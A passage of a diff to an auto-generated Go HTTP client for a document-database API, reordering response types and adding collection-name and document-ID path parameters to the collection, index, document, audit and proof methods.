CreateIndexResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelProofDocumentResponse + JSON200 *ModelCreateIndexResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r ProofDocumentResponse) Status() string { +func (r CreateIndexResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2027,22 +2167,22 @@ func (r ProofDocumentResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r ProofDocumentResponse) StatusCode() int { +func (r CreateIndexResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type ReplaceDocumentsResponse struct { +type DeleteCollectionResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelReplaceDocumentsResponse + JSON200 *ModelDeleteCollectionResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r ReplaceDocumentsResponse) Status() string { +func (r DeleteCollectionResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2050,22 +2190,22 @@ func (r ReplaceDocumentsResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r ReplaceDocumentsResponse) StatusCode() int { +func (r DeleteCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type SearchDocumentsResponse struct { +type GetCollectionResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelSearchDocumentsResponse + JSON200 *ModelGetCollectionResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r SearchDocumentsResponse) Status() string { +func (r GetCollectionResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2073,22 +2213,22 @@ func (r SearchDocumentsResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r SearchDocumentsResponse) StatusCode() int { +func (r GetCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type CreateIndexResponse struct { +type UpdateCollectionResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelCreateIndexResponse + JSON200 *ModelUpdateCollectionResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r CreateIndexResponse) Status() string { +func (r UpdateCollectionResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2096,22 +2236,22 @@ func (r CreateIndexResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r CreateIndexResponse) StatusCode() int { +func (r UpdateCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type DeleteIndexResponse struct { +type GetCollectionsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelDeleteIndexResponse + JSON200 *ModelGetCollectionsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r DeleteIndexResponse) Status() string { +func (r GetCollectionsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2119,7 +2259,30 @@ func (r DeleteIndexResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r DeleteIndexResponse) StatusCode() int { +func (r GetCollectionsResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type CreateCollectionResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelCreateCollectionResponse + JSONDefault *RuntimeError +} + +// Status returns HTTPResponse.Status +func (r CreateCollectionResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r CreateCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } @@ -2177,201 +2340,210 @@ func (c *ClientWithResponses) OpenSessionWithResponse(ctx context.Context, body return ParseOpenSessionResponse(rsp) } -// GetCollectionsWithResponse request returning *GetCollectionsResponse -func (c *ClientWithResponses) GetCollectionsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetCollectionsResponse, error) { - rsp, err := c.GetCollections(ctx, reqEditors...) +// SearchDocumentsWithWithBodyWithResponse request with arbitrary body returning *SearchDocumentsWithResponse +func (c *ClientWithResponses) SearchDocumentsWithWithBodyWithResponse(ctx context.Context, searchId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsWithResponse, error) { + rsp, err := c.SearchDocumentsWithWithBody(ctx, searchId, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseGetCollectionsResponse(rsp) + return ParseSearchDocumentsWithResponse(rsp) } -// CreateCollectionWithBodyWithResponse request with arbitrary body returning *CreateCollectionResponse -func (c *ClientWithResponses) CreateCollectionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) { - rsp, err := c.CreateCollectionWithBody(ctx, contentType, body, reqEditors...) +func (c *ClientWithResponses) SearchDocumentsWithWithResponse(ctx context.Context, searchId string, body SearchDocumentsWithJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsWithResponse, error) { + rsp, err := c.SearchDocumentsWith(ctx, searchId, body, reqEditors...) if err != nil { return nil, err } - return ParseCreateCollectionResponse(rsp) + return ParseSearchDocumentsWithResponse(rsp) } -func (c *ClientWithResponses) CreateCollectionWithResponse(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) { - rsp, err := c.CreateCollection(ctx, body, reqEditors...) +// InsertDocumentsWithBodyWithResponse request with arbitrary body returning *InsertDocumentsResponse +func (c *ClientWithResponses) InsertDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) { + rsp, err := c.InsertDocumentsWithBody(ctx, collectionName, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseCreateCollectionResponse(rsp) + return ParseInsertDocumentsResponse(rsp) } -// DeleteCollectionWithResponse request returning *DeleteCollectionResponse -func (c *ClientWithResponses) DeleteCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*DeleteCollectionResponse, error) { - rsp, err := c.DeleteCollection(ctx, name, reqEditors...) +func (c *ClientWithResponses) InsertDocumentsWithResponse(ctx context.Context, collectionName string, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) { + rsp, err := c.InsertDocuments(ctx, collectionName, body, reqEditors...) if err != nil { return nil, err } - return ParseDeleteCollectionResponse(rsp) + return ParseInsertDocumentsResponse(rsp) } -// GetCollectionWithResponse request returning *GetCollectionResponse -func (c *ClientWithResponses) GetCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*GetCollectionResponse, error) { - rsp, err := c.GetCollection(ctx, name, reqEditors...) +// DeleteDocumentsWithBodyWithResponse request with arbitrary body returning *DeleteDocumentsResponse +func (c *ClientWithResponses) DeleteDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) { + rsp, err := c.DeleteDocumentsWithBody(ctx, collectionName, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseGetCollectionResponse(rsp) + return ParseDeleteDocumentsResponse(rsp) } -// UpdateCollectionWithBodyWithResponse request with arbitrary body returning *UpdateCollectionResponse -func (c *ClientWithResponses) UpdateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { - rsp, err := c.UpdateCollectionWithBody(ctx, name, contentType, body, reqEditors...) +func (c *ClientWithResponses) DeleteDocumentsWithResponse(ctx context.Context, collectionName string, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) { + rsp, err := c.DeleteDocuments(ctx, collectionName, body, reqEditors...) if err != nil { return nil, err } - return ParseUpdateCollectionResponse(rsp) + return ParseDeleteDocumentsResponse(rsp) } -func (c *ClientWithResponses) UpdateCollectionWithResponse(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { - rsp, err := c.UpdateCollection(ctx, name, body, reqEditors...) +// ReplaceDocumentsWithBodyWithResponse request with arbitrary body returning *ReplaceDocumentsResponse +func (c *ClientWithResponses) ReplaceDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) { + rsp, err := c.ReplaceDocumentsWithBody(ctx, collectionName, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseUpdateCollectionResponse(rsp) + return ParseReplaceDocumentsResponse(rsp) } -// InsertDocumentsWithBodyWithResponse request with arbitrary body returning *InsertDocumentsResponse -func (c *ClientWithResponses) InsertDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) { - rsp, err := c.InsertDocumentsWithBody(ctx, contentType, body, reqEditors...) +func (c *ClientWithResponses) ReplaceDocumentsWithResponse(ctx context.Context, collectionName string, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) { + rsp, err := c.ReplaceDocuments(ctx, collectionName, body, reqEditors...) if err != nil { return nil, err } - return ParseInsertDocumentsResponse(rsp) + return ParseReplaceDocumentsResponse(rsp) +} + +// SearchDocumentsWithBodyWithResponse request with arbitrary body returning *SearchDocumentsResponse +func (c *ClientWithResponses) SearchDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) { + rsp, err := c.SearchDocumentsWithBody(ctx, collectionName, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseSearchDocumentsResponse(rsp) } -func (c *ClientWithResponses) InsertDocumentsWithResponse(ctx context.Context, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) { - rsp, err := c.InsertDocuments(ctx, body, reqEditors...) +func (c *ClientWithResponses) SearchDocumentsWithResponse(ctx context.Context, collectionName string, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) { + rsp, err := c.SearchDocuments(ctx, collectionName, body, reqEditors...) if err != nil { return nil, err } - return ParseInsertDocumentsResponse(rsp) + return ParseSearchDocumentsResponse(rsp) } // AuditDocumentWithBodyWithResponse request with arbitrary body returning *AuditDocumentResponse -func (c *ClientWithResponses) AuditDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) { - rsp, err := c.AuditDocumentWithBody(ctx, contentType, body, reqEditors...) +func (c *ClientWithResponses) AuditDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) { + rsp, err := c.AuditDocumentWithBody(ctx, collectionName, documentId, contentType, body, reqEditors...) if err != nil { return nil, err } return ParseAuditDocumentResponse(rsp) } -func (c *ClientWithResponses) AuditDocumentWithResponse(ctx context.Context, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) { - rsp, err := c.AuditDocument(ctx, body, reqEditors...) +func (c *ClientWithResponses) AuditDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) { + rsp, err := c.AuditDocument(ctx, collectionName, documentId, body, reqEditors...) if err != nil { return nil, err } return ParseAuditDocumentResponse(rsp) } -// DeleteDocumentsWithBodyWithResponse request with arbitrary body returning *DeleteDocumentsResponse -func (c *ClientWithResponses) DeleteDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) { - rsp, err := c.DeleteDocumentsWithBody(ctx, contentType, body, reqEditors...) +// ProofDocumentWithBodyWithResponse request with arbitrary body returning *ProofDocumentResponse +func (c *ClientWithResponses) ProofDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) { + rsp, err := c.ProofDocumentWithBody(ctx, collectionName, documentId, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseDeleteDocumentsResponse(rsp) + return ParseProofDocumentResponse(rsp) } -func (c *ClientWithResponses) DeleteDocumentsWithResponse(ctx context.Context, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) { - rsp, err := c.DeleteDocuments(ctx, body, reqEditors...) +func (c *ClientWithResponses) ProofDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) { + rsp, err := c.ProofDocument(ctx, collectionName, documentId, body, reqEditors...) if err != nil { return nil, err } - return ParseDeleteDocumentsResponse(rsp) + return ParseProofDocumentResponse(rsp) } -// ProofDocumentWithBodyWithResponse request with arbitrary body returning *ProofDocumentResponse -func (c *ClientWithResponses) ProofDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) { - rsp, err := c.ProofDocumentWithBody(ctx, contentType, body, reqEditors...) +// DeleteIndexWithResponse request returning *DeleteIndexResponse +func (c *ClientWithResponses) DeleteIndexWithResponse(ctx context.Context, collectionName string, params *DeleteIndexParams, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) { + rsp, err := c.DeleteIndex(ctx, collectionName, params, reqEditors...) if err != nil { return nil, err } - return ParseProofDocumentResponse(rsp) + return ParseDeleteIndexResponse(rsp) } -func (c *ClientWithResponses) ProofDocumentWithResponse(ctx context.Context, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) { - rsp, err := c.ProofDocument(ctx, body, reqEditors...) +// CreateIndexWithBodyWithResponse request with arbitrary body returning *CreateIndexResponse +func (c *ClientWithResponses) CreateIndexWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) { + rsp, err := c.CreateIndexWithBody(ctx, collectionName, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseProofDocumentResponse(rsp) + return ParseCreateIndexResponse(rsp) } -// ReplaceDocumentsWithBodyWithResponse request with arbitrary body returning *ReplaceDocumentsResponse -func (c *ClientWithResponses) ReplaceDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) { - rsp, err := c.ReplaceDocumentsWithBody(ctx, contentType, body, reqEditors...) +func (c *ClientWithResponses) CreateIndexWithResponse(ctx context.Context, collectionName string, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) { + rsp, err := c.CreateIndex(ctx, collectionName, body, reqEditors...) if err != nil { return nil, err } - return ParseReplaceDocumentsResponse(rsp) + return ParseCreateIndexResponse(rsp) } -func (c *ClientWithResponses) ReplaceDocumentsWithResponse(ctx context.Context, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) { - rsp, err := c.ReplaceDocuments(ctx, body, reqEditors...) +// DeleteCollectionWithResponse request returning *DeleteCollectionResponse +func (c *ClientWithResponses) DeleteCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*DeleteCollectionResponse, error) { + rsp, err := c.DeleteCollection(ctx, name, reqEditors...) if err != nil { return nil, err } - return ParseReplaceDocumentsResponse(rsp) + return ParseDeleteCollectionResponse(rsp) } -// SearchDocumentsWithBodyWithResponse request with arbitrary body returning *SearchDocumentsResponse -func (c *ClientWithResponses) SearchDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) { - rsp, err := c.SearchDocumentsWithBody(ctx, contentType, body, reqEditors...) +// GetCollectionWithResponse request returning *GetCollectionResponse +func (c *ClientWithResponses) GetCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*GetCollectionResponse, error) { + rsp, err := c.GetCollection(ctx, name, reqEditors...) if err != nil { return nil, err } - return ParseSearchDocumentsResponse(rsp) + return ParseGetCollectionResponse(rsp) } -func (c *ClientWithResponses) SearchDocumentsWithResponse(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) { - rsp, err := c.SearchDocuments(ctx, body, reqEditors...) +// UpdateCollectionWithBodyWithResponse request with arbitrary body returning *UpdateCollectionResponse +func (c *ClientWithResponses) UpdateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { + rsp, err := c.UpdateCollectionWithBody(ctx, name, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseSearchDocumentsResponse(rsp) + return ParseUpdateCollectionResponse(rsp) } -// CreateIndexWithBodyWithResponse request with arbitrary body returning *CreateIndexResponse -func (c *ClientWithResponses) CreateIndexWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) { - rsp, err := c.CreateIndexWithBody(ctx, contentType, body, reqEditors...) +func (c *ClientWithResponses) UpdateCollectionWithResponse(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { + rsp, err := c.UpdateCollection(ctx, name, body, reqEditors...) if err != nil { return nil, err } - return ParseCreateIndexResponse(rsp) + return ParseUpdateCollectionResponse(rsp) } -func (c *ClientWithResponses) CreateIndexWithResponse(ctx context.Context, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) { - rsp, err := c.CreateIndex(ctx, body, reqEditors...) +// GetCollectionsWithResponse request returning *GetCollectionsResponse +func (c *ClientWithResponses) GetCollectionsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetCollectionsResponse, error) { + rsp, err := c.GetCollections(ctx, reqEditors...) if err != nil { return nil, err } - return ParseCreateIndexResponse(rsp) + return ParseGetCollectionsResponse(rsp) } -// DeleteIndexWithBodyWithResponse request with arbitrary body returning *DeleteIndexResponse -func (c *ClientWithResponses) DeleteIndexWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) { - rsp, err := c.DeleteIndexWithBody(ctx, contentType, body, reqEditors...) +// CreateCollectionWithBodyWithResponse request with arbitrary body returning *CreateCollectionResponse +func (c *ClientWithResponses) CreateCollectionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) { + rsp, err := c.CreateCollectionWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseDeleteIndexResponse(rsp) + return ParseCreateCollectionResponse(rsp) } -func (c *ClientWithResponses) DeleteIndexWithResponse(ctx context.Context, body DeleteIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) { - rsp, err := c.DeleteIndex(ctx, body, reqEditors...) +func (c *ClientWithResponses) CreateCollectionWithResponse(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) { + rsp, err := c.CreateCollection(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseDeleteIndexResponse(rsp) + return ParseCreateCollectionResponse(rsp) } // ParseCloseSessionResponse parses an HTTP response from a CloseSessionWithResponse call @@ -2473,22 +2645,22 @@ func ParseOpenSessionResponse(rsp *http.Response) (*OpenSessionResponse, error) return response, nil } -// ParseGetCollectionsResponse parses an HTTP response from a GetCollectionsWithResponse call -func ParseGetCollectionsResponse(rsp *http.Response) (*GetCollectionsResponse, error) { +// ParseSearchDocumentsWithResponse parses an HTTP response from a SearchDocumentsWithWithResponse call +func ParseSearchDocumentsWithResponse(rsp *http.Response) (*SearchDocumentsWithResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &GetCollectionsResponse{ + response := &SearchDocumentsWithResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelGetCollectionsResponse + var dest ModelSearchDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2506,22 +2678,22 @@ func ParseGetCollectionsResponse(rsp *http.Response) (*GetCollectionsResponse, e return response, nil } -// ParseCreateCollectionResponse parses an HTTP response from a CreateCollectionWithResponse call -func ParseCreateCollectionResponse(rsp *http.Response) (*CreateCollectionResponse, error) { +// ParseInsertDocumentsResponse parses an HTTP response from a InsertDocumentsWithResponse call +func ParseInsertDocumentsResponse(rsp *http.Response) (*InsertDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &CreateCollectionResponse{ + response := &InsertDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelCreateCollectionResponse + var dest ModelInsertDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2539,22 +2711,22 @@ func ParseCreateCollectionResponse(rsp *http.Response) (*CreateCollectionRespons return response, nil } -// ParseDeleteCollectionResponse parses an HTTP response from a DeleteCollectionWithResponse call -func ParseDeleteCollectionResponse(rsp *http.Response) (*DeleteCollectionResponse, error) { +// ParseDeleteDocumentsResponse parses an HTTP response from a DeleteDocumentsWithResponse call +func ParseDeleteDocumentsResponse(rsp *http.Response) (*DeleteDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &DeleteCollectionResponse{ + response := &DeleteDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDeleteCollectionResponse + var dest ModelDeleteDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2572,22 +2744,22 @@ func ParseDeleteCollectionResponse(rsp *http.Response) (*DeleteCollectionRespons return response, nil } -// ParseGetCollectionResponse parses an HTTP response from a GetCollectionWithResponse call -func ParseGetCollectionResponse(rsp *http.Response) (*GetCollectionResponse, error) { +// ParseReplaceDocumentsResponse parses an HTTP response from a ReplaceDocumentsWithResponse call +func ParseReplaceDocumentsResponse(rsp *http.Response) (*ReplaceDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &GetCollectionResponse{ + response := &ReplaceDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelGetCollectionResponse + var dest ModelReplaceDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2605,22 +2777,22 @@ func ParseGetCollectionResponse(rsp *http.Response) (*GetCollectionResponse, err return response, nil } -// ParseUpdateCollectionResponse parses an HTTP response from a UpdateCollectionWithResponse call -func ParseUpdateCollectionResponse(rsp *http.Response) (*UpdateCollectionResponse, error) { +// ParseSearchDocumentsResponse parses an HTTP response from a SearchDocumentsWithResponse call +func ParseSearchDocumentsResponse(rsp *http.Response) (*SearchDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &UpdateCollectionResponse{ + response := &SearchDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelUpdateCollectionResponse + var dest ModelSearchDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2638,22 +2810,22 @@ func ParseUpdateCollectionResponse(rsp *http.Response) (*UpdateCollectionRespons return response, nil } -// ParseInsertDocumentsResponse parses an HTTP response from a InsertDocumentsWithResponse call -func ParseInsertDocumentsResponse(rsp *http.Response) (*InsertDocumentsResponse, error) { +// ParseAuditDocumentResponse parses an HTTP response from a AuditDocumentWithResponse call +func ParseAuditDocumentResponse(rsp *http.Response) (*AuditDocumentResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &InsertDocumentsResponse{ + response := &AuditDocumentResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelInsertDocumentsResponse + var dest ModelAuditDocumentResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2671,22 +2843,22 @@ func ParseInsertDocumentsResponse(rsp *http.Response) (*InsertDocumentsResponse, return response, nil } -// ParseAuditDocumentResponse parses an HTTP response from a AuditDocumentWithResponse call -func ParseAuditDocumentResponse(rsp *http.Response) (*AuditDocumentResponse, error) { +// ParseProofDocumentResponse parses an HTTP response from a ProofDocumentWithResponse call +func ParseProofDocumentResponse(rsp *http.Response) (*ProofDocumentResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &AuditDocumentResponse{ + response := &ProofDocumentResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelAuditDocumentResponse + var dest ModelProofDocumentResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2704,22 +2876,22 @@ func ParseAuditDocumentResponse(rsp *http.Response) (*AuditDocumentResponse, err return response, nil } -// ParseDeleteDocumentsResponse parses an HTTP response from a DeleteDocumentsWithResponse call -func ParseDeleteDocumentsResponse(rsp *http.Response) (*DeleteDocumentsResponse, error) { +// ParseDeleteIndexResponse parses an HTTP response from a DeleteIndexWithResponse call +func ParseDeleteIndexResponse(rsp *http.Response) (*DeleteIndexResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &DeleteDocumentsResponse{ + response := &DeleteIndexResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDeleteDocumentsResponse + var dest ModelDeleteIndexResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2737,22 +2909,22 @@ func ParseDeleteDocumentsResponse(rsp *http.Response) (*DeleteDocumentsResponse, return response, nil } -// ParseProofDocumentResponse parses an HTTP response from a ProofDocumentWithResponse call -func ParseProofDocumentResponse(rsp *http.Response) (*ProofDocumentResponse, error) { +// ParseCreateIndexResponse parses an HTTP response from a CreateIndexWithResponse call +func ParseCreateIndexResponse(rsp *http.Response) (*CreateIndexResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &ProofDocumentResponse{ + response := &CreateIndexResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelProofDocumentResponse + var dest ModelCreateIndexResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2770,22 +2942,22 @@ func ParseProofDocumentResponse(rsp *http.Response) (*ProofDocumentResponse, err return response, nil } -// ParseReplaceDocumentsResponse parses an HTTP response from a ReplaceDocumentsWithResponse call -func ParseReplaceDocumentsResponse(rsp *http.Response) (*ReplaceDocumentsResponse, error) { +// ParseDeleteCollectionResponse parses an HTTP response from a DeleteCollectionWithResponse call +func ParseDeleteCollectionResponse(rsp *http.Response) (*DeleteCollectionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &ReplaceDocumentsResponse{ + response := &DeleteCollectionResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelReplaceDocumentsResponse + var dest ModelDeleteCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2803,22 +2975,22 @@ func ParseReplaceDocumentsResponse(rsp *http.Response) (*ReplaceDocumentsRespons return response, nil } -// ParseSearchDocumentsResponse parses an HTTP response from a SearchDocumentsWithResponse call -func ParseSearchDocumentsResponse(rsp *http.Response) (*SearchDocumentsResponse, error) { +// ParseGetCollectionResponse parses an HTTP response from a GetCollectionWithResponse call +func ParseGetCollectionResponse(rsp *http.Response) (*GetCollectionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &SearchDocumentsResponse{ + response := &GetCollectionResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelSearchDocumentsResponse + var dest ModelGetCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2836,22 +3008,22 @@ func ParseSearchDocumentsResponse(rsp *http.Response) (*SearchDocumentsResponse, return response, nil } -// ParseCreateIndexResponse parses an 